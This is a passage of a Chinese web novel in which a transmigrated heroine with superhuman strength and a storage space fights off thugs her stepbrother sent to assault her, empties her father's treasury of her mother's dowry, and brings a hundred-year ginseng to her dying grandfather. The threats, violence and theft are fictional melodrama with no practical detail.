柳怀嬴转动着手中的钥匙环,满怀恶意的低语:“做完这一切,我再给你们一人一百两封口费。记住让她越痛苦越好,她越是痛苦,我的心里越是畅快!” 两名壮汉对视一眼,连连点头,露出狰狞的邪笑。 “柳公子,你放心,这件事包在我们身上,保证做的妥妥的。” 他们接过钥匙,便冲着宗祠而去。 柳怀嬴神情有些扭曲,舔了舔唇,心中暗暗道:“谁怪席菱歌不识抬举,居然敢伤了依依姐的脸。” “伤了脸就算了,还不把婚约给依依姐让出来。” 既然不让,那就别怪他不客气,毁了席菱歌的清白,让所有人都知道,席菱歌就是一个任人玩弄的破鞋。 他看永安王府还接不接这场婚事! 永安王府的女主人位置注定是依依姐来坐。 想到这里,柳怀嬴的心里一阵阵畅快。 两名壮汉正在用钥匙开锁。 席菱歌自从喝了灵泉之后,五官敏锐,能够清晰的听到外面的声音。 柳怀嬴的一言一行被她听见,心脏激素上升,迅速跳动。 席菱歌捂了捂胸口,遇到危机时,心率会迅速上升,砰砰砰的一声声,宛若子弹在心里开枪。 直到两名壮汉推开了门,带来了满室白昼的光线。 席菱歌被光线刺得眯起了眼,暖风吹了进来,她冲着二人微微一笑,顺手操起了身后的灵牌。 如此冷淡的反应让两名壮汉诧异了几秒,随后扬起一抹淫笑。 “小美人,别怕,哥哥们来疼你。” “你放心,周围没有人来打扰我们,你逃不出我们兄弟二人的手掌心。” 席菱歌心率飙升120,哪怕心跳再快,她异常冷静,手稳稳拿着灵牌,没有丝毫颤抖。 “柳怀嬴派你们来的。” 她平静说出这个结论,心中却涌出巨大的恶意。 明明她已经如此努力活着,怎么还是有不长眼的人撞上来。 用这种下三滥的手段,简单有效,不愧是又蠢又坏的柳怀嬴。 原主前世便被这个所谓的继弟蹉跎得不成人样,现在又来折磨她。 两名壮汉听到这肯定的话,愣了一刻。 真是神了,这小娘子怎么知道是柳公子让他们来的? 其中一人笑道:“小娘子,我们还没尝过大户人家小姐的味道,你就让让我们兄弟二人,乖乖就范。” 另一人道:“兴许我们能轻些,不让你这么痛苦。” 两人笑着靠近,心中已经迫不及待。 席菱歌冷静地用目光测试着距离,十步,五步,两步。 她动了,手从身后举起来,快若闪电,直直朝着最近的一名壮汉额头砸去。 席菱歌看准了角度,用的是灵牌最尖锐的棱角,再加上她力气很大,壮汉被砸得满头是血,整个人晕头转向,倒了下去。 剩下一名壮汉被这场面唬住了,他愣了愣神,随后凶怒吼道:“小贱人,你敢对我兄弟下手!” 席菱歌紧张得抿了抿嘴唇,生活在和平年代的她鲜少遇见这么直白的恶人。 但凡有一丝一毫的犹豫,都是对她自己生命的不尊重。 这一刻,席菱歌明白了。 想要活下来,想要保全自己,靠的不仅仅是手中的拳头,还有无以伦比的金钱和权势。 第22章直接把人踹飞了 如果她有金钱,就能雇佣人保护自己。 如果她有权势,敢对她下手就得掂量掂量自己够不够格。 席菱歌眼珠幽深,不曾转动分毫。 她死死盯住壮汉,掌心紧紧攥住灵牌,身体紧绷,准备随时迎敌。 壮汉被这目光盯得寒毛竖立,他啐了一口。 竟然在一个小娘皮身上感受到了彻骨的寒意。 错觉罢了。 一个手无缚鸡之力的小娘皮能有什么本事。 他动身探了探兄弟的鼻尖,有微弱的呼吸,松了口气,幸好只是昏迷过去。 壮汉一身壮实的黝黑皮肤,露出一口沾着菜叶的黄牙。 他身穿布衣,草鞋露出的脚趾头裹着黄泥,几乎让席菱歌作呕。 “小娘皮,本来想对你客气点,你不知好歹,别怪哥哥待会儿不温柔。” “滚!你敢靠近一步,我就杀了你!” 壮汉经历前面一遭,早就有所警惕,面对席菱歌的威胁,装模作样一笑。 “性子挺烈,我就喜欢烈的。” “无论这里发生什么,都没人来救你,不如你束手就擒,等下让你欲仙欲死!” 壮汉一边露出狞笑,一边挪动着前进,一双浑浊的双眼在席菱歌鼓囊囊的胸部、滚圆的屁股、大腿处流连。 倒是个有料的。 比起春红院的头牌不遑多让。 可惜春宵一夜得千金,今日倒是能够白白品尝一回。 壮汉舔了舔唇,呼吸急促几分,最后在距离五米远的地方站定。 他等了片刻时间,如猛虎扑食一般,大手张开如同巨大的蒲扇般朝着席菱歌抓去。 “小娘皮,乖乖让哥哥疼你。” “滚!” 席菱歌时刻注意着,早在壮汉身体紧绷扑过来的瞬间,下意识一脚踹过去。 壮汉如同炮弹一般被弹飞,他的脸呈现滑稽的表情,像个小丑般身躯弯成虾米状,死死撞上门扉。 砰地一声,人连同一扇门扉迅速飞了出去,撞上了门外等待的柳怀赢。 一声闷哼连带着痛呼声,两人滚作一团。 余留下宗祠剩下的一扇门扉嘎吱作响,空荡荡地斜挂在一侧。 席菱歌愣了愣,先是低头看了看自己的双手,满脸不可置信。 她喃喃自语:“什么情况?” “我开挂了?” “原来我这么强?” 席菱歌握着灵牌出去,顺带踩了一脚被打成昏迷的壮汉。 壮汉眼睛如咸鱼般突出,噗的一声,直直喷出一口血雾来。 这一脚踩在胸口,差点连整个苦胆混合着血吐了出来。 壮汉眼眶泛白,彻底昏迷过去。 席菱歌看也不看一眼,径直从躯体上踩过去。 她走到宗祠门扉外,心中惊奇。 刚刚这么大的动静,居然没有吸引半个下人过来。 若是往日,席翰连同继娘早就赶来了,柳依依更是恨不得给她个下马威。 一个耳刮子就扇了过来,没有任何辩解的机会。 现在却没有丝毫动静,什么情况? 席菱歌颇有耐心等了半炷香时间,仍然没有人来,心下瞬间明白了什么。 难怪柳怀赢如此信誓旦旦,找了两个壮汉来,坚信能够毁了她。 要么是买通了这一片区域的下人装聋作哑,要么是席翰一行人有事出了门,无暇管她。 可唯独留下柳怀赢是什么意思? 刻意要毁了她? 席菱歌心率又上升,跳得极快,心中恐惧和后怕两种情绪交织不休。 她深深吐出一口气。 就差一点,差一点她就万劫不复。 “嗬嗬。” 不远处,柳怀赢瞪大了双眼,像一条斗狠后落败的幼犬,手指颤巍巍地指着席菱歌。 “你、你……” “你怎么会出来?” “我不可以出来么?” 席菱歌很快平复好心情,颇有闲心地半蹲下来。 她随手从一旁折了根树枝,戳着柳怀赢的脸颊。 先说话的却不是柳怀赢。 “柳公子,你没说这姑奶奶本事这般高强,早知我就不该来,平白无故受了一遭打。” 壮汉被一脚踹飞,肋骨断了好十几根,动弹不得。 他声音干涩,望着席菱歌,眼睛里闪过惊恐之色,想起刚刚那一脚,整个身体发抖。 那一瞬间,他差点以为自己的身体断成两截。 这哪是什么弱女子,简直就是披着人皮的猛兽。 那随意一脚足足有几十斤的力道,差点把他半条命都踹没了。 比起那些天生神力的猛士都不堪多让。 “我哪知道?”柳怀赢话中满是责怪,“我以为你们能解决,结果现在两个废物,连个女人都没办法拿捏!” 壮汉一怒,差点暴起,牵扯到断裂的肋骨,疼得龇牙咧嘴。 他阴阳怪气道:“柳公子,我们兄弟二人也算京城赫赫有名的恶人,请我们来的时候,你可不是这样说的。” 当着席菱歌的面,两人互相撕咬起来。 好一场狗咬狗的画面。 席菱歌拍手叫好。 “一条老狗,一条小狗。” “谈好是兄弟,没谈好是仇人。” “你们这种人,我还是第一次见。” 壮汉先前吃过亏,不说话了。 他还想从这座大户人家的宅院活着出去。 柳怀赢可不管,气得满头青筋,他被迫接住飞出来的壮汉。 这一脚可谓是殃及池鱼。 伤得比壮汉更重,肋骨断了二十几根。 他有些后悔。 早知道办这种事就不该亲自前来,随便找两个下人放进去,也不至于落得这样的地步。 “你别动我!” “我告诉你,爹娘姐姐他们去拜访曲家了,你要是敢动我,我保证等爹娘回来,肯定有你好果子吃!” “曲家?” “没错,曲家老爷子病入膏肓,没几日可活了,等曲家一倒,你……” 柳怀赢像是想到什么连忙闭了嘴。 席菱歌脑海中闪过记忆,想起什么。 曲家老爷子曲鸿煊,当今左丞相,亦是原身的外公。 亲娘曲婷的亲爹。 她的来历这么大? 可曲家老爷子病入膏肓是什么情况。 原身记忆里没有这一遭。 席菱歌眸光一闪,想到某种可能。 原身上辈子早就被赶下乡,身无分文,受尽了祖母蹉跎。 那时候没有半分嫡女模样,活生生像个村姑,所有的消息来源都被切断,自然不知道这件事。 想此,席菱歌一脚踩在柳怀赢的左手,听到对面发出痛叫声,直接提起他的衣领。 “把你知道的一五一十说出来!” “不然你的左手别要了。” “据我所知,朝廷不会要一个身患残疾的官员。” 第23章她要做一件大事 京城,曲家。 曲家府邸所处地段好,周围全是达官贵人居住地,向来僻静。 今日却来了一群不速之客。 席翰领着柳玉莎、柳依依二人进府,完全不在意卧房内众人敌视的眼神。 “你来做什么?” “我带依依来看望岳父,尽一尽女婿的孝心。” “曲家没你这种女婿,滚出去!” 开口说的是一名中年男子。 曲彰显眉头紧皱,呈现川字型。 “彰显兄,菱歌流淌着席府的血脉,亦流淌着曲家的血。” “婷儿走了这么多年,哪怕岳父没有原谅我,也得见见菱歌啊。” 席翰文质彬彬,说话慢条斯理,带着一股文人的温和之意,念及曲婷时,他满眼深情,怀念亡妻不易,甚至带着一丝惋惜。 “可怜婷儿走得早,菱歌没有亲娘照料就算了,这么多年曲家却不闻不问。” “菱歌使性子没来,我让依依过来看望看望岳父,也算代替菱歌尽一番孝心。” “你放屁!”有急性子青年出声。 正是曲弘,曲家大少爷。 他冷笑着:“这么多年曲家每年都给你千两银子的赡养费,让你好好照料菱歌,年年过年,你都不让菱歌回曲家,今日又是什么意思?” “你带个不知道哪里生出来的野种来曲家,存的是什么心思,以为我们不知道?” “席翰,你逾矩了。” “这里是曲家,可不是你当家做主的席府!” “咳咳,都别说了。” 所有人顿时闭嘴。 床榻上的老人面色灰白,嘴唇发紫,发须皆白,一副病入膏肓的模样。 他似乎命不久矣,猛咳一声,声音虚弱无比,“来者是客,好好招待。” 中年男子于心不忍,出声道:“爹,当真要好好招待他。妹妹走得早,若是知晓这一幕,恐怕死都不会安心。” 席翰这是踩在曲老爷子头上撒尿。 明知曲老爷子最近在老皇帝那边失了心,被朝廷众官员孤立,无人为其声援。 偏生找个借口来落井下石,恶心一把曲家所有人。 曲辰开口了。 他身为曲家二少,虽然平日混不吝,但关键时刻分外可靠,一眼看出关键。 “祖父,爹,姓席的不带菱歌来曲府看望祖父,今日却带了个续弦和继女,肯定没安好心!” “依我看,他这是想趁着咱家落败,趁机给曲家难堪,顺便好让他续弦一双儿女上位,好全了一副嫡女嫡子的名声。” 席翰顿时心惊,额头冒了细密的冷汗。 他如何得知? 但今日来曲家说出这番话,席翰心中只觉畅快。 以往被曲老爷子压一头,甚至被曲婷那个贱人带了一顶绿油油的帽子,他碍于曲家余威不敢反抗。 席菱歌甚至不是他亲生的,而是那贱人不知何谁生的野种! 让一个野种担了席府嫡女的名声,早就让席翰心中怒极,颜面无存。 席翰想起最近朝廷的局势,心情由阴转晴,顿时乐呵呵起来。 曲家已经被老皇帝除名,落败是迟早的时候。 他娶了柳家的嫡次女,跟河东柳氏混,哪怕没肉吃,喝一口汤也是极好的事。 至少他席翰还保持着地位,而曲家就不一样了。 席翰轻蔑地看了众人一眼。 “今日看望曲老爷子,全然是看在以往身为女婿的份上,以后曲家怎样,可不是你们说了算。” “过不了几日,咱们身份今非昔比,你们曲家落败,若是求上门来,我兴许能给你们指点一条生路。” 这一眼轻蔑,足以让所有曲家人心头气炸了。 曲老爷子喉咙发出嗬嗬,脸色更加灰白,手无力地垂下去。 他摆了摆手,深深叹了口气,“也罢,让他们走吧,以后不要把此人放进来。” “曲家确实落败了。” “狼假虎威之辈,迟早落不得好!” 席翰带着二人扬长而去。 柳依依额头缠绕着雪白的纱布,眼底闪过一丝痛快的恶意。 依爹爹所言,等曲家倒闭了。 看席菱歌如何生存下去。 届时任由她搓捏蹂躏,再也翻不了身。 一切的侮辱,柳依依都要一寸寸讨回来。 想到席府即将发生的事,柳依依就一阵畅快。 等他们回一趟柳家商讨一番,几日后再回家,柳怀赢已经差不多把事办完了。 到时候,席菱歌以残花败柳之身,怎么和她争夺永安王府的婚约! …… 另一边,席府。 空气炙热,日出东方,日光照耀,刺得柳怀赢睁不开眼。 他颤颤巍巍道:“我知道的就这些。” “爹爹他们出去办事,让我老老实实待在家中。” “你就是这样老实的?” “……” 柳怀赢不敢说话,他鼻青脸肿,双颊肿胀,顶着两个青紫的眼,活像一个大熊猫。 这些全都是席菱歌打的。 该死的贱人。 什么时候有这般大的力气,他若是有,早就去当个武状元。 怎么天生神力没有落到他身上。 他可是席府现今唯一的男丁,最具有继承权的人。 柳怀赢心头刚冒起一点嫉妒,就被席菱歌打了一拳。 “我不喜欢你的眼神。” 席菱歌慢条斯理收回手,原来拥有力量的感觉如此畅快。 难怪前世那么多犯罪事件,一旦拥有了力量,确实能体验掌握他人生死的快感。 但席菱歌不喜欢。 十分不喜欢。 如何可以选择,她还是想生活在和平时代。 柳怀赢被打得呜咽几声,完全不敢还手。 更别提一旁的壮汉,他围观完全程,被席菱歌残暴的手段吓尿了,双股颤颤,不敢说话。 “下人们去哪儿了?” “都被我调回府外。” “说具体点。” “我、我给了他们一日休沐时间,府中除了你我,还有两名壮汉,已经没有其他人。” 席菱歌点了点头,直接把两人打晕。 她心中突然升腾了一个计划。 这个计划蓄谋已久。 席菱歌先是把三人捆绑在宗祠内,随后回到自己房间,用化妆品乔装一番。 她望着铜镜中俊俏的少年,顿时满意地点了点头。 幸好穿越前是混网络的人。 席菱歌卡了卡喉咙,咳了几声,在找到调后,轻而易举伪装出清澈的少年音。 现在,她准备做一件大事。 第24章搬空整个席府家产 席菱歌先用银票去钱庄换了五百两银子。 她先租了一辆马车,自己充当马夫的角色,慢悠悠在京城各大商铺之间往来。 席菱歌分批次买了一堆仿制的山水画、陶瓷。 随后是绸缎布匹、茶叶木盒、木梳皂角、猪鬃牙刷等生活用品,其中布匹买的最多。 山水画、陶瓷被她直接用一麻袋提走,放置马车车厢中,随后装进空间。 席菱歌慢悠悠地逛着,眼瞅着有贩卖棉花的地方,她又买了整整一堆棉花,差点把整个棉花店搬空。 棉花这玩意儿是好东西,小则能制作制作月事带、药棉纱布等日常用品,大则能制作冬衣冬被抗寒,日常生活中必不可缺。 席菱歌东西买得零散,分不同的几家店购买。 她又去铁匠铺看了现场的铁制品,大部分都是农具、厨具,如铁锄、铁铲、菜刀等物品。 铺子内没有摆放管制刀具,想必京城禁止私底下兵器贩卖。 席菱歌悄悄凑近,手指先是比划了几下,随后拿出一两银子,塞进老板手中问道:“老板,这里有没有兵器售卖。” 铁匠铺老板是个光头汉子,肤色古铜,他收了银子,放在掌心掂了掂,连忙把铺子大门关上。 “贵客,你想要什么兵器? “我这里软剑、长刀、斧头、铁锤都有,甚至有长弓、木箭,如果你需要,我还能卖你火油。” “我要一把削铁如泥的匕首。” “还需要其他的吗?” “再来一把长弓,还要大量的火油。” 壮汉手颤了颤,惜命的没再多问,他怕问多了性命不保。 哪来的煞神,要这么多火油。 如果不是只身前来,他差点以为是造反的叛军! 壮汉张开手掌,比了个数字,“五十两银子,三日后来取。” “成交。”席菱歌十分爽快,直接拿了一块银锭出来。 随后,她离开去了药堂,每一种药材都买了五十斤左右的份额。 但例如麻黄、桂枝、白芷、黄连、鱼腥草、甘草、金银花等常见的药草。 席菱歌直接每样来了一百斤,又买了些蒙汗药等粉末防身。 她空手进去,左手右手各提着四个大麻布袋出来。 上了马车,席菱歌行驶到无人处,想也不想把东西放进空间仓库里。 零零散散的东西购买,席菱歌差不多把手头的银子花了四百两左右,剩下的一百两,她酌情使用。 反正已经打定了主意,不再京城待。 她要下乡自己快活去,必定少不了属于自己的人手。 届时处处都是花钱的地方,总不能坐吃山空。 席菱歌把租借的马车还了回去,重新回到席府。 她速度快,行动力高,出去买完东西,才过了一个上午的时间。 席菱歌先是快步回到宗祠,见几人没醒,仍然十分警惕。 她悄然靠近,先是踩了三人一脚,见三人疼得逐渐清醒过来,瞬间喂了他们一人一大口蒙汗药。 在保证一天的药量后,席菱歌确认三人又重新晕了过去。 她才搓了搓手,径直朝着库房的方向走去。 那是席翰藏原身嫁妆的地方。 席菱歌颇为迫不及待。 谁管席翰他们多久回来。 反正今天她要拿回属于自己的东西。 一路走过去,府邸中冷冷清清,果真没人。 看来柳怀赢说的话不假,府中下人休沐去了,今日只剩下他们四个人。 天赐良机! 席菱歌抵达库房,库房大门被铁锁紧紧锁住。 她一点不慌,拿出一根铁丝,细致地朝着里面搅了搅。 咔嚓一声,门锁开了。 映入眼帘的是杂乱堆放的瓷器,随后是一大堆木箱子随意摆放着。 席菱歌先是把瓷器收进空间,随后把购置的假陶瓷放进去,来一手偷梁换柱。 一次、两次熟练之后。 席菱歌一个个挨着把木箱打开,满当当的书画古董,她收的毫不手软,一点不剩。 库房的东西都是逝去的亲娘留给她的嫁妆。 本来就是她的。 走到库房深处,席菱歌在最后几个掩盖着严严实实的木箱中找到了三箱金条,十八箱银锭。 金条一块块堆放得整整齐齐。 银锭子更多,累计起来都成小山状。 席菱歌大手一挥,通通放进空间仓库。 金条。 银元宝。 玉如意。 翡翠。 收走收走,通通收走,一个不剩。 席菱歌望着空荡荡的木箱子,心头那叫一个畅快。 原身亲娘留下的嫁妆丰厚,差不多抵得这些东西的两三倍。 席翰这渣爹,一边恬不知耻地用着她的嫁妆,一边日日伙同继娘折磨她。 留下的东西肯定不止这点。 席菱歌搜刮着记忆,来到席翰的书房。 这里是席翰最私密的地方,任何人都不能进。 席菱歌四处翻找着,书架上除了书籍之外,便是一叠叠藏起来的信封。 席菱歌随手放回去,摩挲着周围,手指不小心蹭过一旁的花瓶。 耳朵下意识动了动,她听到了一丝轻微的转动声响,转过身停留在花瓶前。 席菱歌伸手转动花瓶,咔嚓的齿轮转动声,书柜一侧缓慢移动,露出一条黑漆漆的密道。 密道又小又窄,足够容纳一个成年男子。 席菱歌微微弯腰进去,她从空间拿出购置的火把,浇上火油,再用火折子打开。 密道瞬间被照亮。 穿过密道,席菱歌差点被满屋子的金灿灿闪瞎了眼,她下意识伸手遮住双眼,指尖露出一条小小的缝隙。 密密麻麻的金砖头摆放成一座小山状,几乎满壁生辉。 席菱歌屏住呼吸,呆呆看着。 下一秒,她大手一挥,通通扫进空间。 通通拿下! 席菱歌一点都没剩。 除却满目的金砖外,角落剩下上百个精致的木盒。 席菱歌上前随手打开一看,竟然是一根胖嘟嘟的百年人参。 她二话不说,直接盖下木盒,衣袖一甩,装进空间仓库。 读书人的事情怎么能叫偷呢,这叫取之有道。 呸呸,这本来就是她的。 席菱歌把密室的东西通通装进空间,摸了摸玉佩。 整个人走路轻飘飘的。 爽,实在是太爽了。 一夜暴富的感觉,谁能懂。 席菱歌现在纯纯属于稚子抱金过市。 谁路过看她一眼,都会被怀疑是不是要打劫。 席菱歌退出房间,小心翼翼地把一切痕迹消除。 书籍、书信、甚至一些微不足道的小细节,全都被消除得一干二净。 她连手掌印都没有放过,从空间拿出麻布擦了擦花瓶、书桌、书柜。 最后离开的时候,席菱歌一边后退离开书房,一边擦拭着地板的脚印。 任何有一丝一毫关于自己的痕迹全都清除干净。 没人会怀疑到她身上。 毕竟这么多东西,她一个弱女子哪有能力把全都搬走。 席翰得知自己宝贝消失后,唯一怀疑的对象,那就是自己的宝贝儿子——柳怀赢。 库房失守,书房被偷盗的这一天,恰巧所有的下人休沐,没有一个目击证人。 谁信? 反正席菱歌不信。 就算是傻子都明晃晃知道,这是调虎离山计。 监守自盗的事多了去了。 席菱歌回了库房,老老实实弯腰低头,捏着麻布,从头到脚擦了个边,就连被自己碰过的花瓶、书画都没放过。 做完这一切,天色已黑。 席菱歌用手背擦了擦额角的汗。 这些都是辛勤的汗水。 事关她以后回乡下提前养老的幸福人生。 席菱歌快步走回宗祠,先是藏在门后半炷香,听到里面没有动静,才进了宗祠。 她探了探三个人的鼻息,感觉到呼吸声,便收回了手。 还有气。 三人的命真顽强。 这么严重的伤居然还活着。 席菱歌不是什么魔鬼,她拎着三人随手甩在宗祠外,自己则里里外外把痕迹都消除了一遍。 做完这一切,她在远处捡起被踹飞的门,重新按在门框上。 自己则卸了妆,回到自己的房间,倒头就睡。 第二天醒来,她依旧是手无缚鸡之力的弱女子呢。 次日,柳怀赢闻到一股浓烈的药味,悠悠转醒。 他睁开双眼,看到的便是席菱歌的面容,吓得浑身一个哆嗦。 显然昨日发生的事情历历在目。 柳怀赢探头看去,门外人声鼎沸,帘幕时不时被掀开,露出一道头戴方巾的药徒身影。 周围的一切显得十分陌生。 席菱歌出声:“弟弟,昨日你受伤严重,大夫说断了二十几根肋骨,得在床榻修养一个月时间。” 柳怀赢被这一声弟弟吓得背脊发凉,一股寒意从尾椎骨冒了上来。 哪怕他再瞧不起席菱歌这个女人。 可昨日就是她,硬生生把他踹飞,一拳又一拳砸在脸上,打得他哭爹喊娘。 柳怀赢喉咙干涩,露出一个哭笑不得的表情,半晌都不敢说话。 直到换药的大夫前来,席菱歌才从药堂出去。 啧,真是不禁吓。 还以为使出这种手段的人是个狠人,结果居然是个软脚虾。 浪费感情。 正当席菱歌自感没趣的时,药堂外突然风风火火闯进来一道少年身影。 他一拍桌子,惊得桌面抖了抖,急匆匆大吼道: “掌柜的,你们药堂有百年人参吗?” “我曲家要了,一千两银子买一支百年人参!” 第25章 送去百年人参 这一声吼吓得周围人纷纷侧目。 千两银子买百年人参。 这么大的手笔。 是哪家的人? 不乏有人心中泛起贪婪,听到曲家二字,顿时歇了心思。 谁不知道曲家的名声,敢得罪曲家,怕是命都不想要了。 百年人参是吊命用的。 难不成曲家有人出事了? “曲少爷,这儿没有百年人参售卖。” 药堂掌柜摇了摇头,显然认识黑衣少年。 他心中叹息,想必曲老爷子身体已然是强弩之末,撑不了多长时间。 “真没有?” 曲弘握紧了拳头,沉声质问。 那双黑眸通红,布满血丝,像是一天一夜没睡,格外吓人。 他目光沉了沉,见药堂掌柜摇了摇头,扭头就走,前往下一家药堂。 府中的人参已经用完。 要是没买到百年人参,他该如何跟家里人交代,又如何救老爷子的命。 要知道老爷子是家中的顶梁柱,顶梁柱要是塌了,曲家也就离垮台不远。 念此,曲弘心中怒骂。 席翰这个白眼狼,得了曲家的好处,官途坦荡,一路节节高升。 偏偏在这种节骨眼时刻背刺曲家,装都不装了,带着续弦来气老爷子,害老爷子病情急速恶化。 曲弘焦急前来,愤懑离开。 他朝着下一家药堂跑去,时间不多了,老爷子还需要一支人参吊命。 等人走后,药堂才恢复往日的热闹。 席菱歌眯了眯眼,望着曲弘离开的身影只觉眼熟。 记忆中没有涌出的相应的画面。 她收回视线,倒是问起了唉声叹气的药堂掌柜。 “掌柜的,曲家出什么事了?” “那人如此焦急,想必家中有病人,才会拿出千两银子换取一支百年人参。” 席菱歌摩挲着指腹,她倒是有百年人参,昨日刚搜刮完席府家产。 区区百年人参算什么。 她有十来支,压根用不完。 可如此一来,必定暴露身份。 一旦被人探查,她该如何解释自己的百年人参从何而来。 难不成说是从家中拿的? 药堂掌柜深深叹了口气: “姑娘,你有所不知,曲家老爷子身份尊贵,官居一品,是当今左丞相,更是难得一见的大善人。” “这家药堂曾被曲家资助过。” “可曲老爷子这病来势汹汹,大夫们都看过,实在没办法。” 任由恩人逐渐流逝生命的感受不太好,药堂掌柜神情忧郁,不再谈及此事。 百年人参哪有这么好得到。 希望曲大少爷一切顺利。 席菱歌此刻记忆碎片涌现上来,冲破了脑海的枷锁。 她瞪大了眼。 曲家。 曲老爷子曲鸿煊是她外公。 这么说,外公病危,急需百年人参吊命? 席菱歌下意识握紧了龙纹玉佩。 救还是不救? 她失笑,缓缓松开手,想也不想跟了上去。 人,肯定要救。 毕竟,那可是唯一的亲外公。 是原身被赶下乡后唯一的慰藉。 …… 曲弘跑遍了整个京城的药堂,居然无一家售卖给他。 他脸色煞白,挺直的脊梁逐渐弯了下来,双手无力的垂直在胯骨双侧,眸子逐渐蓄满了绝望。 没有。 一家都没有。 整个京城,没有一家药堂售卖百年人参给他。 是谁的命令已经显而易见。 曲弘颓废地拖着步伐朝着曲府走去。 他恨不得扇自己两巴掌。 从一开始出府的信誓旦旦到现在束手无策。 曲弘身躯几乎是僵硬起来。 他回到府中,当双脚踏足府门时,一双瘦白的小手伸了出来,挡在他的面前。 柔美的嗓音响起。 “表哥,请止步。” 他下意识抬头,瞳孔震动不已,仿佛看到了意想不到的人。 曲弘嗓子干涩,望着白嫩掌心放置的红木盒。 木盒内静静躺着一支品相完好的百年人参。 “菱歌……” 眼前的小姑娘几年未见,身躯瘦小,额前的发撩起来,露出光洁的额头。 而额角处留下了一道刚愈合的伤疤,破坏了整张脸的美感。 那张明晃晃的精致面孔已然长开,和幼时记忆中的面容相差无几。 曲弘几乎是一瞬间就认出她来,声音有些哽咽。 “菱歌,你受苦了。” 他双眸盯着席菱歌的额角,心疼极了。 曲家一直在暗中观察席菱歌的一切。 无论是前些日子骑马摔伤,还是之前的事。 可以说,他们曲家无人不知,无人不晓,也曾送过东西到席府。 偏偏席翰藏着掖着,说菱歌在府中过得安稳,不想与曲家人见面。 他们信了。 以为是席菱歌憎恨他们。 曲弘曾想过有无数种和席菱歌见面的时刻。 万万没想到,偏偏是在今日他最窘迫的时候。 面对席菱歌,曲弘一向粗狂的面孔罕见流露出一丝无措来。 他双手不知道朝哪里放着,停留在空中,却被瘦小的手一把抓住。 席菱歌嗓音低低,抬起小脑袋探望,见四处无人。 她上前一步,捞起曲弘的手掌,把木盒塞进他的掌心。 “表哥,这是一株百年人参,拿去给外公用。” 说罢,席菱歌扭头就走,不想在曲府多加停留。 万一被发现了端倪,渣爹后娘岂不是要让她把东西吐出来。 进了她口袋的东西,万万没有往外吐的道理。 突然间,伶仃的手腕被大手牢牢禁锢住。 席菱歌眉梢染上几分诧异。 她回头一看,曲弘拉住了她的手腕,喉咙吞咽着口水,脸上带着自己都未察觉的燥意。 曲弘结结巴巴道:“表妹,既然来了,不如看看老爷子吧。” 若是让外人见了,定会大惊。 向来在京城公子哥中粗狂暴躁的曲弘也会有这样一幕。 曲弘也不知道自己怎么回事。 日复一日,年复一年。 他听着老爷子口中的姑姑和小表妹的事情。 早就对席菱歌心生怜惜。 姑姑只有小表妹一根独苗。 在席府,小表妹肯定过得一点都不好。 整个人瘦巴巴的,额角结了疤,好生可怜。 这株百年人参肯定来之不易。 曲弘攥紧了掌心的木盒。 他们曲家亏欠了小表妹的。 席菱歌思索片刻,毫不犹豫点头,“好,我进去看看外公。” “这么多年未见,不知道外公是否记得菱歌。” 她神情中带着几分低落。 生怕席菱歌伤心,曲弘急道: “不会不会,老爷子可想你了,爹爹也想你,你二表哥也想你。” 他拉着席菱歌的手腕就匆匆往里走,整个身影多了几分迫不及待,怕席菱歌反悔般。 好不容易见到了菱歌。 一定要拉去见老爷子,想必见到菱歌,老爷子一定会开心。 两道身影一前一后朝里走,穿过庭院正厅,最后抵达厢房。 途中,席菱歌抬起另一只手,在其看不到的地方,轻轻抹了抹嘴角,若有所思。 外公一家果真如记忆中一样友善。 在原主前世,每年外公一家都会寄来百两银子和信。 年年都被老虔婆拦下,如果不是死前老虔婆管不住嘴,把事情说了出来,她甚至不知道。 等两人到时,曲彰显急得在外踱步,走来走去。 他神情焦虑,瞧见两道人影,想也不想迎上前。 正要询问时,曲彰显见到意料之外的人瞪大了双眼,眼珠子都差点掉出来。 他双手止不住地颤抖,在看见席菱歌的那一瞬,直接冲了上去。 “菱歌,真的是你吗?” 席菱歌的双肩被捏住。 眼前的中年人神情激动万分,带着许久未见的挂念和歉意。 在瞧见席菱歌额角的伤疤后,一向严肃板着张脸的曲彰显愧疚到眼泪都差点掉出来。 “我就知道席翰不是个好东西,他居然这般对你!姑娘家家,伤了脸就相当于毁容!” “菱歌,疼吗?” 曲彰显心疼不已。 这可是妹妹唯一的孩子。 又是个小姑娘,毁了容肯定心中难受。 说着说着,曲彰显一巴掌拍在曲弘的后背,怒道:“臭小子,还不赶快去我书房拿那盒玉容膏出来。” 曲弘一把把木盒放在曲彰显怀中,丢完一句话,就往书房走。 “爹,这是表妹带来的百年人参,你快叫大夫给老爷子熬药,我先去拿玉容膏。” “臭小子!” 曲彰显笑骂一声,稳稳接住木盒,转头不好意思道: “菱歌,没想到最后一株百年人参是你亲自送过来的。” 他深深叹了一口气,“这份恩情,曲家记住了。” “舅舅。”席菱歌摇了摇头,“我们是一家人。” “外公有难,我这个当外孙女的,尽孝道是应当的。” 一番话,足足让曲彰显热泪满盈。 果然是骨子里流淌着曲家血脉的菱歌。 那张与小妹相似的脸,仿佛让曲彰显记起以前的时光。 曲彰显神情恍惚起来。 菱歌和小妹一样善良。 待在席家真的适合吗? 席翰是豺狼,是鬣狗,恨不得在曲家身上咬下一块肉来。 这些年来,菱歌一定在席府过得不好。 他心尖泛起一丝深深的歉疚。 曲彰显张开嘴,正要开口说话,厢房内传来一道尖锐的哭声。 “老爷子,你快醒醒!” 他脸色一变,冲着席菱歌点了点头,来不及多说什么,抱着木盒就进了厢房。 “大夫,百年人参拿到了!” 第26章探望曲老爷子 席菱歌跟了进去。 厢房内站了好几人。 一名的貌美妇人正捏着手帕低头啜泣,先前的尖叫声从她口中传来。 曲彰显捧着木盒,正在和蓄着羊角胡须的老大夫说话。 他身侧站着一名桀骜少年,模样俊俏。 少年最先发现屋内来了名不速之客,侧过头去。 “哪来的……” 曲辰双手抱胸,嘴角斜斜勾起,在眼神瞟过去一瞬,神情怔然。 卡在喉咙的话哽住,像吞了一根鱼刺,不上不下。 下一秒,曲彰显一巴掌拍在曲辰的后脑勺。 “看什么看,这是菱歌,你的表妹。” “怎的,你小时候日思夜想的表妹到了面前,如今装作不认识?” “这盒百年人参也是你表妹带来的。” 曲辰闻言,立马收起那副混不吝的笑,站直了身体,老老实实喊了声,“多谢菱歌表妹。” 席菱歌目光透过两人,望向缠绵病榻的曲老爷子。 曲彰显了然什么,先是把药盒给予大夫,让其帮忙熬制参汤,在大夫离开之后。 他依次给席菱歌介绍起周围人。 “菱歌,这是你舅妈。” “这是你二表哥。” “这是你外祖父。” 